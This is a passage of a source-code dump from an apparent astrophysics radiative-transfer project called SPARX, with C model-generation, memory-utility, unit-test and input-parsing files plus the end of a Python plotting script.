\",\".join(dat)+\"\\n\"\n\tfo.write(string)\nfo.close()\nprint \"Saved data as 'data.csv'\"\n\nmean_lst = [i.mean() for i in plist]\nstd_lst = [i.std() for i in plist]\n\nimport pylab as pl\npl.errorbar(rdata_0 * pc, mean_lst, yerr=std_lst)\npl.title(\"SPARX\")\npl.xlabel(\"m\")\npl.ylabel(\"Fractional population\")\npl.savefig(\"sparx.png\")\nprint \"Saved figure as 'sparx.png'\"\n#pl.show()\n\n\n" }, { "alpha_fraction": 0.546715497970581, "alphanum_fraction": 0.5629416108131409, "avg_line_length": 22.36809730529785, "blob_id": "54a86fa4473b1e1fe598e62c23a45f752725f64a", "content_id": "2147bbdae1eccaa465b5ef334d5cef1b143efbfe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3821, "license_type": "no_license", "max_line_length": 88, "num_lines": 163, "path": "/src/sparx-task-powerlaw.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tint geom;\n\tsize_t ndiv;\n\tdouble dims, r0, ngas, a_ngas, tkin, a_tkin, xmol, vrad, a_vrad;\n\tSpModel model;\n\tSpFile *outf;\n} glb;\n\nstatic int GenModel(void);\nstatic void *GenModelThread(void *arg);\n\n/*----------------------------------------------------------------------------*/\n\nint SpTask_Powerlaw(void)\n{\n\tint status = 0;\n\n\tMem_BZERO(&glb);\n\n\tglb.geom = SpInp_GetKey_int(\"geom\");\n\tglb.dims = SpInp_GetKey_dbl(\"dims\") / PHYS_UNIT_MKS_PC;\n\tglb.r0 = SpInp_GetKey_dbl(\"r0\") / PHYS_UNIT_MKS_PC;\n\tassert(glb.r0 > 0);\n\tglb.ndiv = SpInp_GetKey_size_t(\"ndiv\");\n\tglb.ngas = SpInp_GetKey_dbl(\"nh2\");\n\tglb.a_ngas = SpInp_GetKey_dbl(\"a_nh2\");\n\tglb.tkin = SpInp_GetKey_dbl(\"tk\");\n\tglb.a_tkin = SpInp_GetKey_dbl(\"a_tk\");\n\tglb.xmol = SpInp_GetKey_dbl(\"xmol\");\n\tglb.vrad = SpInp_GetKey_dbl(\"vrad\");\n\tglb.a_vrad = SpInp_GetKey_dbl(\"a_vrad\");\n\tglb.outf = SpInp_GetKey_spfile(\"out\", Sp_NEW);\n\n\t/* Generate model */\n\tif(!status)\n\t\tstatus = GenModel();\n\n\t/* Cleanup */\n\tSpModel_Cleanup(glb.model);\n\n\tif(glb.outf)\n\t\tSpIO_CloseFile(glb.outf);\n\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NI (glb.ndiv)\n#define NJ (glb.ndiv)\n#define NK (glb.ndiv)\n\nstatic int GenModel(void)\n{\n\tint status = 0;\n\tGeVec3_d min, max;\n\tGeVec3_s ndiv;\n\n\t/* Models of different coordinate systems differ only in their\n\t * dimensions */\n\tswitch(glb.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(glb.dims, PI, TWOPI);\n\t\t\tndiv = GeVec3_s_Init(glb.ndiv, (size_t)1, (size_t)1);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(glb.dims, glb.dims, glb.dims);\n\t\t\tndiv = GeVec3_s_Init(glb.ndiv, glb.ndiv, glb.ndiv);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tassert(0);\n\t}\n\n\t/* Allocate grid */\n\tSpModel_InitGrid(&glb.model, glb.geom, min, max, ndiv);\n\n\t/* Fill in grid parameters */\n\tSpUtil_Threads(GenModelThread);\n\n\t/* Write model to file */\n\tstatus = SpIO_FwriteModel(glb.outf, glb.model);\n\n\tif(!status)\n\t\tSp_PRINT(\"Wrote source model to `%s'\\n\", glb.outf->name);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *GenModelThread(void *tid_p)\n{\n\tsize_t i, tid = *((size_t *)tid_p), zone_id;\n\tZone *zp, *root = glb.model.grid;\n\tdouble radius, velo;\n\tSpPhys *pp;\n\tGeVec3_d pos;\n\n\t/* Setup model */\n\tfor(zp = Zone_GetMinLeaf(root), zone_id = 0; zp; zp = Zone_AscendTree(zp), zone_id++) {\n\t\t/* Skip when zone_id % Sp_NTHREAD != tid */\n\t\tif(zone_id % Sp_NTHREAD != tid)\n\t\t\tcontinue;\n\n\t\tif(zp->children)\n\t\t\tcontinue;\n\n\t\tpp = NULL;\n\n\t\tswitch(glb.geom) {\n\t\t\tcase GEOM_SPH1D:\n\t\t\t\tpp = zp->data;\n\t\t\t\tradius = GeVec3_X(zp->voxel.cen, 0);\n\t\t\t\tGeVec3_X(pp->v_cen, 0) = glb.vrad * GeVec3_X(zp->voxel.cen, 0);\n\t\t\t\tbreak;\n\n\t\t\tcase GEOM_REC3D:\n\t\t\t\tpos = GeVec3_Sub(&root->voxel.cen, &zp->voxel.cen);\n\t\t\t\tradius = GeVec3_Mag(&pos);\n\t\t\t\tif(radius <= 0.5 * glb.dims) {\n\t\t\t\t\tpp = zp->data;\n\n\t\t\t\t\tvelo = glb.vrad * pow(radius / glb.r0, glb.a_vrad);\n\t\t\t\t\tpos = GeVec3_Normalize(&pos);\n\t\t\t\t\tpp->v_cen = GeVec3_Scale(&pos, velo);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tassert(0);\n\t\t}\n\n\t\tif(pp) {\n\t\t\tif(radius < glb.r0) {\n\t\t\t\tpp->T_k = glb.tkin * pow(radius / glb.r0, glb.a_tkin); /* K */\n\t\t\t\tpp->n_H2 = glb.ngas; /* m^-3 */\n\t\t\t\tpp->X_mol = glb.xmol; /* fraction */\n\t\t\t}\n\t\t\telse {\n\t\t\t\tpp->T_k = glb.tkin * pow(radius / glb.r0, glb.a_tkin); /* K */\n\t\t\t\tpp->n_H2 = glb.ngas * pow(radius / glb.r0, glb.a_ngas); /* m^-3 */\n\t\t\t\tpp->X_mol = glb.xmol; /* fraction */\n\t\t\t}\n\n\t\t\t/* Init molecular level populations if requested */\n\t\t\tif(glb.model.parms.mol) {\n\t\t\t\tfor(i = 0; i < pp->mol->nlev; i++) {\n\t\t\t\t\tpp->pops[0][i] = SpPhys_BoltzPops(glb.model.parms.mol, i, pp->T_k);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.693975031375885, "alphanum_fraction": 0.6965466737747192, "avg_line_length": 33.89743423461914, "blob_id": "ba7b5e58ae029b4c4881db1f1ae1099744c041a0", "content_id": "0bc2bb3d87b95b95026afffe4372284a68050b61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2722, "license_type": "no_license", "max_line_length": 104, "num_lines": 78, "path": "/src/miriad-wrappers.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __MIRIAD_WRAPPERS_H__\n#define __MIRIAD_WRAPPERS_H__\n\nenum {\n\tMirWr_NEW,\n\tMirWr_OLD\n};\n\ntypedef struct {\n\tchar type;\n\tconst char *name;\n\tvoid *value;\n\tint n;\n} MirVar;\n\ntypedef struct MirFile {\n\tchar *name;\n\tint tno;\n} MirFile;\n\ntypedef struct MirImg_Axis {\n\tsize_t n;\n\tdouble delt, crpix, crval;\n\n} MirImg_Axis;\n\ntypedef struct MirImg {\n\tMirImg_Axis x, y, v;\n\tdouble *cube, restfreq;\n} MirImg;\n\n#define MirImg_PIXEL(img, iv, ix, iy)\\\n\t(img).cube[(size_t)(iy) + (img).y.n * ((size_t)(ix) + (img).x.n * (size_t)(iv))]\n\n#define MirImg_CHAN(img, iv)\\\n\t&MirImg_PIXEL((img), (iv), 0, 0)\n\n/* Calculate reference pixel position\n * Note: CRPIX is assumed to be a floating point number! */\n#define MirWr_CRPIX(n)\\\n\t((n) == 1 ? 0.0 : (double)(n) / 2.0)\n\n#define MirWr_IMGAXIS(n, delt, crpix, crval) {\\\n\t\t(n), /* size_t, number of pixels */\\\n\t\t(delt), /* double, pixel size -- values must be physically reasonable, or\\\n\t\t Miriad will have trouble displaying the image. */\\\n\t\t(crpix), /* double, position of reference pixel */\\\n\t\t(crval) /* double, value of reference pixel */\\\n\t}\n\nMirVar *MirVar_ListLookup(MirVar vars[], const char *name);\nvoid MirVar_ListRead(MirVar vars[], MirFile *fp);\nvoid MirVar_ListWrite(MirVar vars[], MirFile *fp);\nvoid MirVar_SetWidth(MirVar vars[], const char *name, int n);\nvoid MirVar_SetValue_a(MirVar vars[], const char *name, const char *value);\nvoid MirVar_SetValue_i(MirVar vars[], const char *name, int value);\nvoid MirVar_SetValue_r(MirVar vars[], const char *name, double value);\nvoid MirVar_SetValue_d(MirVar vars[], const char *name, double value);\nvoid MirVar_SetValue(MirVar vars[], const char *name, const void *value);\nvoid MirVar_ListCleanup(MirVar vars[]);\ndouble *MirImg_GetChannel(MirImg img, size_t i);\nMirImg *MirImg_Alloc(MirImg_Axis x, MirImg_Axis y, MirImg_Axis v);\nvoid MirImg_Free(void *img_p);\nMirFile *MirUV_Open(const char *name, const char *mode);\nvoid MirUV_Close(void *fp);\nMirFile *MirXY_Open_new(const char *name, size_t nx, size_t ny, size_t nv);\nMirFile *MirXY_Open_old(const char *name, size_t *nx, size_t *ny, size_t *nv);\nvoid MirXY_Close(void *fp);\nvoid MirWr_SetBugLabel(const char *name);\ndouble *MirImg_LoadXYV(const char *fname, MirImg_Axis *x, MirImg_Axis *y, MirImg_Axis *v, char **bunit);\nvoid MirImg_ReadXY(MirFile *fp, MirImg *image, char **bunit);\nvoid MirImg_WriteXY(MirFile *fp, const MirImg *image, const char *bunit, double bfac);\nvoid MirXY_WriteImgCube(int tno, const MirImg *image, char *bunit, double bfac);\nvoid MirWr_WriteImgCube(int tno, const MirImg_Axis *x, const MirImg_Axis *y,\n\tconst MirImg_Axis *v, const char *bunit, double bfac, double *cube);\nvoid MirImg_UVResamp(MirImg *image, MirFile *uvin, MirFile *uvout);\n\n#endif\n" }, { "alpha_fraction": 0.4269411563873291, "alphanum_fraction": 0.43141642212867737, "avg_line_length": 18.133047103881836, "blob_id": "3309e723025a127c686ce94e0fa89b4e023c9f2d", "content_id": "b7b1b01970b12c0b5be43ba86359efe99ab4d048", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4469, "license_type": "no_license", "max_line_length": 80, "num_lines": 233, "path": "/src/memory.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n\n#include \"memory.h\"\n\n/*----------------------------------------------------------------------------*/\n\nvoid *Mem_Calloc(size_t n, const char *file, int line)\n{\n\tvoid *ptr = malloc(n);\n\n\tif(!ptr) {\n\t\tfprintf(stderr, \"Out of memory at %s:%d\\n\", file, line);\n\t\texit(1);\n\t}\n\telse\n\t\tmemset(ptr, 0, n);\n\n\treturn ptr;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid *Mem_Realloc(void *ptr, size_t n, const char *file, int line)\n{\n void *tmpptr = 0;\n\n if(!(tmpptr = realloc(ptr, n))) {\n fprintf(stderr, \"Out of memory at %s:%d\\n\", file, line);\n exit(1);\n }\n\n return tmpptr;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid *Mem_Strdup(const char *string, const char *file, int line)\n{\n\tsize_t n = strlen(string);\n\tchar *ptr = malloc(n + 1 * sizeof(char));\n\n\tstrncpy(ptr, string, n);\n\tptr[n] = '\\0';\n\n\tif(!ptr) {\n\t\tfprintf(stderr, \"Out of memory at %s:%d\\n\", file, line);\n\t\texit(1);\n\t}\n\n\treturn ptr;\n}\n\n/*----------------------------------------------------------------------------*/\n\nchar *Mem_VSprintf(const char *format, va_list ap)\n{\n\tsize_t len;\n\tchar *string = Mem_CALLOC(BUFSIZ, string);\n\n\tlen = (size_t)vsnprintf(string, (size_t)BUFSIZ, format, ap);\n\n\tif(len >= BUFSIZ) {\n\t\tstring = Mem_REALLOC(len + 1, string);\n\t\tvsnprintf(string, len + 1, format, ap);\n\t}\n\n\treturn string;\n}\n\n/*----------------------------------------------------------------------------*/\n\nchar *Mem_Sprintf(const char *format, ...)\n{\n\tchar *string;\n\tva_list ap;\n\n\tva_start(ap, format);\n\tstring = Mem_VSprintf(format, ap);\n\tva_end(ap);\n\n\treturn string;\n}\n\n/*----------------------------------------------------------------------------*/\n\nchar *MemStr_Stripwhite(char *string)\n{\n\tchar *s,*t;\n\n\tfor (s = string; isspace (*s); s++)\n\t\t;\n\n\tif (*s == 0)\n\t\treturn s;\n\n\tt = s + strlen(s) - 1;\n\n\twhile (t > s && isspace (*t))\n\t\tt--;\n\n\t*++t = '\\0';\n\n\treturn s;\n}\n\n/*----------------------------------------------------------------------------*/\n\nchar **MemStr_Split(const char *string, const char *delimiter, size_t *n)\n{\n\tchar *buffer = NULL, *tok = NULL, **list = NULL;\n\n\tbuffer = Mem_STRDUP(string);\n\t*n = 0;\n\n\ttok = strtok(buffer, delimiter);\n\twhile(tok) {\n\t\t(*n)++;\n\t\tlist = Mem_REALLOC((*n), list);\n\t\tlist[(*n) - 1] = Mem_STRDUP(MemStr_Stripwhite(tok));\n\t\ttok = strtok(NULL, delimiter);\n\t}\n\n\tfree(buffer);\n\n\treturn list;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MemStr_FreeList(char **list, size_t n)\n{\n\tsize_t i;\n\n\tfor(i = 0; i < n; i++) {\n\t\tfree(list[i]);\n\t}\n\tfree(list);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Mem_FwriteStr(const char *str, FILE *fp)\n{\n\tsize_t len = strlen(str), nbytes;\n\n\tnbytes = fwrite(str, len, sizeof(*str), fp);\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Mem_FreadStr(char *str, size_t len, FILE *fp)\n{\n\tsize_t nbytes;\n\n\tnbytes = fread(str, len, sizeof(*str), fp);\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Mem_FwriteInt(int integer, FILE *fp)\n{\n\tsize_t nbytes;\n\n\tnbytes = fwrite(&integer, (size_t)1, sizeof(integer), fp);\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Mem_FreadInt(int *integer, FILE *fp)\n{\n\tsize_t nbytes;\n\n\tnbytes = fread(integer, (size_t)1, sizeof(*integer), fp);\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Mem_FwriteSize_t(size_t siz, FILE *fp)\n{\n\tsize_t nbytes;\n\n\tnbytes = fwrite(&siz, (size_t)1, sizeof(siz), fp);\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Mem_FreadSize_t(size_t *siz, FILE *fp)\n{\n\tsize_t nbytes;\n\n\tnbytes = fread(siz, (size_t)1, sizeof(*siz), fp);\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Mem_FputStr(const char *str, FILE *fp)\n{\n\tMem_FwriteSize_t(strlen(str), fp);\n\tMem_FwriteStr(str, fp);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nchar *Mem_FgetStr(FILE *fp)\n{\n\tsize_t len;\n\tchar *buf;\n\n\tMem_FreadSize_t(&len, fp);\n\tbuf = Mem_CALLOC(len + 1, buf);\n\tMem_FreadStr(buf, len, fp);\n\n\treturn buf;\n}\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.4821539521217346, "alphanum_fraction": 0.5134933590888977, "avg_line_length": 27.306337356567383, "blob_id": "310a131cbaccd9a95b87e53c5d09d69bf4f758ef", "content_id": "e20c7025232e1e146cc74b6e09dd00f5ae538976", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8041, "license_type": "no_license", "max_line_length": 82, "num_lines": 284, "path": "/src/_sparx-unittests.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <Python.h>\n#include \"sparx.h\"\n#include \"_sparx.h\"\n#include \"_sparx-unittests.h\"\n#include <gsl/gsl_rng.h>\n\n#define SETRET_FLOAT(dict, name, value)\\\n PyDict_SetItemString((dict), name, PyFloat_FromDouble(value))\n\n#define SETRET(dict, name, ...)\\\n PyDict_SetItemString((dict), name, Py_BuildValue(__VA_ARGS__))\n\n\n#define pi PHYS_CONST_PI\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *test_geom_dotprod(PyObject *self, PyObject *args)\n/* Tests various vector operations and returns the result as a Python\n dictionary.\n*/\n{\n int sts = 0;\n USEUP_SELF_ARGS();\n\n PyObject *dict = PyDict_New();\n GeVec3_d vecA, vecB;\n\n Deb_ASSERT(dict != NULL);\n Mem_BZERO(&vecA);\n Mem_BZERO(&vecB);\n\n if(!sts) {\n //Vectors at right angles should have a dot product of zero\n vecA = GeVec3_d_Init(1.0, 0.0, 0.0);\n vecB = GeVec3_d_Init(0.0, 1.0, 0.0);\n sts = SETRET_FLOAT(dict, \"right_angle\", GeVec3_DotProd(&vecA, &vecB));\n }\n\n if(!sts) {\n //Unit vectors parallel should have a dot product of 1\n vecA = GeVec3_d_Init(1.0, 0.0, 0.0);\n vecB = GeVec3_d_Init(1.0, 0.0, 0.0);\n SETRET_FLOAT(dict, \"parallel\", GeVec3_DotProd(&vecA, &vecB));\n }\n\n if(!sts) {\n //Unit vectors at 60deg angles should have a dot product of 0.5\n vecA = GeVec3_d_Init(1.0, 0.0, 0.0);\n vecB = GeVec3_d_Init(1.0 * cos(pi / 3.0), 1.0 * sin(pi / 3.0), 0.0);\n SETRET_FLOAT(dict, \"angle_60deg\", GeVec3_DotProd(&vecA, &vecB));\n }\n\n return dict;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *test_geom_vecops(PyObject *self, PyObject *args)\n/* Tests various vector operations and returns the result as a Python\n dictionary.\n*/\n{\n USEUP_SELF_ARGS();\n\n int sts = 0;\n PyObject *dict = PyDict_New();\n Deb_ASSERT(dict != NULL);\n\n GeVec3_d vecA, vecB;\n\n if(!sts) {\n vecA = GeVec3_d_Init(1.0, 0.5, 0.25);\n vecB = GeVec3_Scale(&vecA, 10.0);\n sts = SETRET(dict, \"scale\", \"(ddd)\", GeVec3_TOARGS(vecB));\n\n vecA = GeVec3_d_Init(2.0, 2.0, 1.0);\n sts = SETRET(dict, \"mag\", \"d\", GeVec3_Mag(&vecA));\n\n vecB = GeVec3_Normalize(&vecA);\n sts = SETRET(dict, \"normalize\", \"(ddd)\", GeVec3_TOARGS(vecB));\n }\n\n return dict;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *test_geom_rayprop(PyObject *self, PyObject *args)\n/* Tests various vector operations and returns the result as a Python\n dictionary.\n*/\n{\n USEUP_SELF_ARGS();\n\n int sts = 0;\n PyObject *dict = PyDict_New();\n Deb_ASSERT(dict != NULL);\n GeVec3_d min = GeVec3_INIT(0.0, 0.0, 0.0);\n GeVec3_d max = GeVec3_INIT(1.0, 0.0, 0.0);\n GeVox vox = GeVox_Init2(GEOM_SPH1D, min, max);\n GeRay ray = GeRay_Init(0.0, 0.0, 0.0, 0.0, 0.0, 0.0);\n PyObject *list = PyList_New(0), *list2 = NULL, *list3 = PyList_New(0);\n int i;\n size_t side;\n double t, sint, cost, phi, r;\n gsl_rng *rng = gsl_rng_alloc(gsl_rng_ranlux);\n\n /* Test 1: propgate to edge of sphere and check if distance\n from origin is 1.0 */\n if(!sts) {\n for(i=0; i<1000 && !sts; i++) {\n Mem_BZERO(&ray);\n\n /* Generate random 3D direction */\n Num_RanDir3D(rng, &cost, &sint, &phi);\n\n /* Convert to rectangular coordinates */\n GeRay_D(ray, 0) = sint * cos(phi);\n GeRay_D(ray, 1) = sint * sin(phi);\n GeRay_D(ray, 2) = cost;\n\n GeRay_TraverseVoxel(&ray, &vox, &t, &side);\n ray = GeRay_Inc(&ray, t);\n sts = PyList_Append(list, Py_BuildValue(\"d\", GeVec3_Mag(&ray.e)));\n }\n sts = PyDict_SetItemString(dict, \"originprop\", list);\n }\n\n /* Test 2: propagate from theta=0, phi=0..2pi and check if\n the phi_s's are correct */\n Mem_BZERO(&ray);\n\n /* Start ray from surface of sphere */\n for(i=0; i<1000; i++) {\n list2 = PyList_New(0);\n\n phi = gsl_rng_uniform_pos(rng) * 0.5 * pi;\n sint = sin(0.5 * pi);\n cost = cos(0.5 * pi);\n r = GeVec3_X(max, 0);\n\n /* Convert to rectangular coordinates */\n GeRay_E(ray, 0) = r * sint * cos(phi);\n GeRay_E(ray, 1) = r * sint * sin(phi);\n GeRay_E(ray, 2) = r * cost;\n\n phi = pi;\n GeRay_D(ray, 0) = sint * cos(phi);\n GeRay_D(ray, 1) = sint * sin(phi);\n GeRay_D(ray, 2) = cost;\n\n sts = PyList_Append(list2, Py_BuildValue(\"d\", GeRay_get_phis(&ray) / pi));\n\n GeRay_TraverseVoxel(&ray, &vox, &t, &side);\n ray = GeRay_Inc(&ray, t);\n\n sts = PyList_Append(list2, Py_BuildValue(\"d\", GeRay_get_phis(&ray) / pi));\n sts = PyList_Append(list3, list2);\n }\n\n sts = PyDict_SetItemString(dict, \"get_phis\", list3);\n\n return dict;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *test_geom_rayprop2(PyObject *self, PyObject *args)\n/* Tests whether the distances traversed by rays shot from the\n origin at random directions are the same as the radius\n of the model. */\n{\n USEUP_SELF_ARGS();\n int sts = 0, i = 0;\n PyObject *dict = PyDict_New();\n PyObject *list = PyList_New(0);\n Deb_ASSERT(dict != NULL);\n GeRay ray = GeRay_Init(0.0, 0.0, 0.0, 0.0, 0.0, 0.0);\n double t = 0.0, t_acc = 0.0, cost = 0.0, sint = 0.0, phi = 0.0;\n size_t side = -1;\n gsl_rng *rng = gsl_rng_alloc(gsl_rng_ranlux);\n\n for(i=0; i<1000 && !sts; i++) {\n Zone *grid = Zone_Alloc(0, NULL, NULL, NULL),\n *zp = NULL;\n GeVec3_s naxes = GeVec3_INIT(i+1, 1, 1);\n\n grid->voxel = GeVox_Init(GEOM_SPH1D, 0, 0, 0, 1, 0, 0);\n SpZone_GROW(grid, naxes, NULL);\n\n t_acc = 0.0;\n Mem_BZERO(&ray);\n\n /* Generate random 3D direction */\n Num_RanDir3D(rng, &cost, &sint, &phi);\n\n /* Convert to rectangular coordinates */\n GeRay_D(ray, 0) = sint * cos(phi);\n GeRay_D(ray, 1) = sint * sin(phi);\n GeRay_D(ray, 2) = cost;\n\n zp = Zone_GetMinLeaf(grid);\n\n while(zp) {\n GeRay_TraverseVoxel(&ray, &zp->voxel, &t, &side);\n t_acc += t;\n ray = GeRay_Inc(&ray, t);\n zp = Zone_GetNext(zp, side, &ray);\n }\n\n Zone_Free(grid, NULL);\n\n sts = PyList_Append(list, Py_BuildValue(\"d\", t_acc));\n }\n\n if(!sts)\n sts = PyDict_SetItemString(dict, \"originprop\", list);\n\n return dict;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *test_passargs(PyObject *self, PyObject *args)\n/* Test whether Python function arguments work as expected. */\n{\n const char *str = NULL;\n\n PyArg_ParseTuple(args, \"s\", &str);\n\n USEUP_SELF_ARGS();\n\n return PyString_FromString(str);\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *test_model_print_ratran(PyObject *self, PyObject *args)\n/* Test whether the print-model-to-ratran function works properly. */\n{\n USEUP_SELF_ARGS();\n int sts = 0;\n char *fname = NULL;\n FILE *fp = NULL;\n SpModel model;\n GeVec3_s naxes = GeVec3_INIT(16, 1, 1);\n size_t i;\n SpPhys *pp = NULL;\n\n sts = !PyArg_ParseTuple(args, \"s\", &fname);\n\n if(!sts) {\n fp = fopen(fname, \"w\");\n if(!fp) {\n sts = 1;\n }\n }\n\n if(!sts) {\n model.parms.T_cmb = 2.728;\n model.parms.gas_to_dust = 100;\n model.grid = Zone_Alloc(0, NULL, NULL, NULL);\n model.grid->voxel = GeVox_Init(GEOM_SPH1D, 0, 0, 0, 1.0, 0, 0);\n SpZone_GROW(model.grid, naxes, NULL);\n for(i=0; i<naxes.x[0]; i++) {\n pp = model.grid->children[i]->data;\n pp->n_H2 = 2.0;\n pp->X_mol = 3.0;\n pp->T_k = 4.0;\n pp->T_d = 5.0;\n pp->v_cen.x[0] = 6.0;\n }\n }\n\n if(!sts) {\n SpModel_PrintModelToRatranFile(model, fp);\n }\n\n if(fp)\n fclose(fp);\n\n return Py_None;\n}\n\n\n" }, { "alpha_fraction": 0.5295542478561401, "alphanum_fraction": 0.5351152420043945, "avg_line_length": 22.101659774780273, "blob_id": "86956d062f63bd7b7ab14eb1d851e4c58f1b80e6", "content_id": "481d6b8cd520a4b653aedcbf273c2bcb66285523", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11149, "license_type": "no_license", "max_line_length": 108, "num_lines": 482, "path": "/src/sparx-inputs.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/*----------------------------------------------------------------------------*/\n\nKappa *SpInp_GetKey_kappa(const char *name)\n{\n\tPyObject *Inputs = 0, *o = 0, *o1;\n\tKappa *kap = NULL;\n\tchar *sp;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tif(o != Py_None) {\n\t\to1 = PyObject_GetAttrString(o, \"data\");\n\t\tsp = Sp_PYSTR(Sp_PYLST(o1, 0));\n\t\tif(!strcmp(sp, \"plaw\"))\n\t\t\tkap = Kap_New_Powerlaw(\n\t\t\t\tSp_PYDBL(Sp_PYLST(o1, 1)),\n\t\t\t\tSp_PYDBL(Sp_PYLST(o1, 2)),\n\t\t\t\tSp_PYDBL(Sp_PYLST(o1, 3))\n\t\t\t);\n\t\telse if(!strcmp(sp, \"table\"))\n\t\t\tkap = SpIO_FreadKappa(Sp_PYSTR(Sp_PYLST(o1, 1)));\n\t\telse /* ID string returned by python not recognized */\n\t\t\tDeb_ASSERT(0);\n\n\t\tPy_DECREF(o1);\n\t\tPy_DECREF(o);\n\t\tDeb_ASSERT(kap != NULL);\n\t}\n\n\tPy_DECREF(Inputs);\n\n\treturn kap;\n}\n\n/*----------------------------------------------------------------------------*/\n\nconst char *SpInp_GetKey_str(const char *name)\n{\n\tPyObject *Inputs = 0, *o = 0;\n\tstatic char buffer[BUFSIZ] = \"\";\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tMem_BZERO2(buffer, BUFSIZ);\n\tstrncpy(buffer, Sp_PYSTR(o), (size_t)BUFSIZ);\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn buffer;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMirFile *SpInp_GetKey_miruv(const char *name, const char *mode)\n/* Retrieve a keyword from user input */\n{\n\tPyObject *Inputs = 0, *o = 0;\n\tMirFile *fp = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tfp = MirUV_Open(Sp_PYSTR(o), mode);\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn fp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMirFile *SpInp_GetKey_mirxy_new(const char *name, size_t nx, size_t ny, size_t nv)\n/* Retrieve a keyword from user input */\n{\n\tPyObject *Inputs = 0, *o = 0;\n\tMirFile *fp = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tif(o != Py_None) {\n\t\tfp = MirXY_Open_new(Sp_PYSTR(o), nx, ny, nv);\n\t\tPy_DECREF(o);\n\t}\n\n\tPy_DECREF(Inputs);\n\n\treturn fp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMirFile *SpInp_GetKey_mirxy_old(const char *name, size_t *nx, size_t *ny, size_t *nv)\n/* Retrieve a keyword from user input */\n{\n\tPyObject *Inputs = 0, *o = 0;\n\tMirFile *fp = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tfp = MirXY_Open_old(Sp_PYSTR(o), nx, ny, nv);\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn fp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *SpInp_GetKey_obj(const char *name)\n/* Retrieve a keyword from user input */\n{\n\tPyObject *Inputs = 0, *o = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, 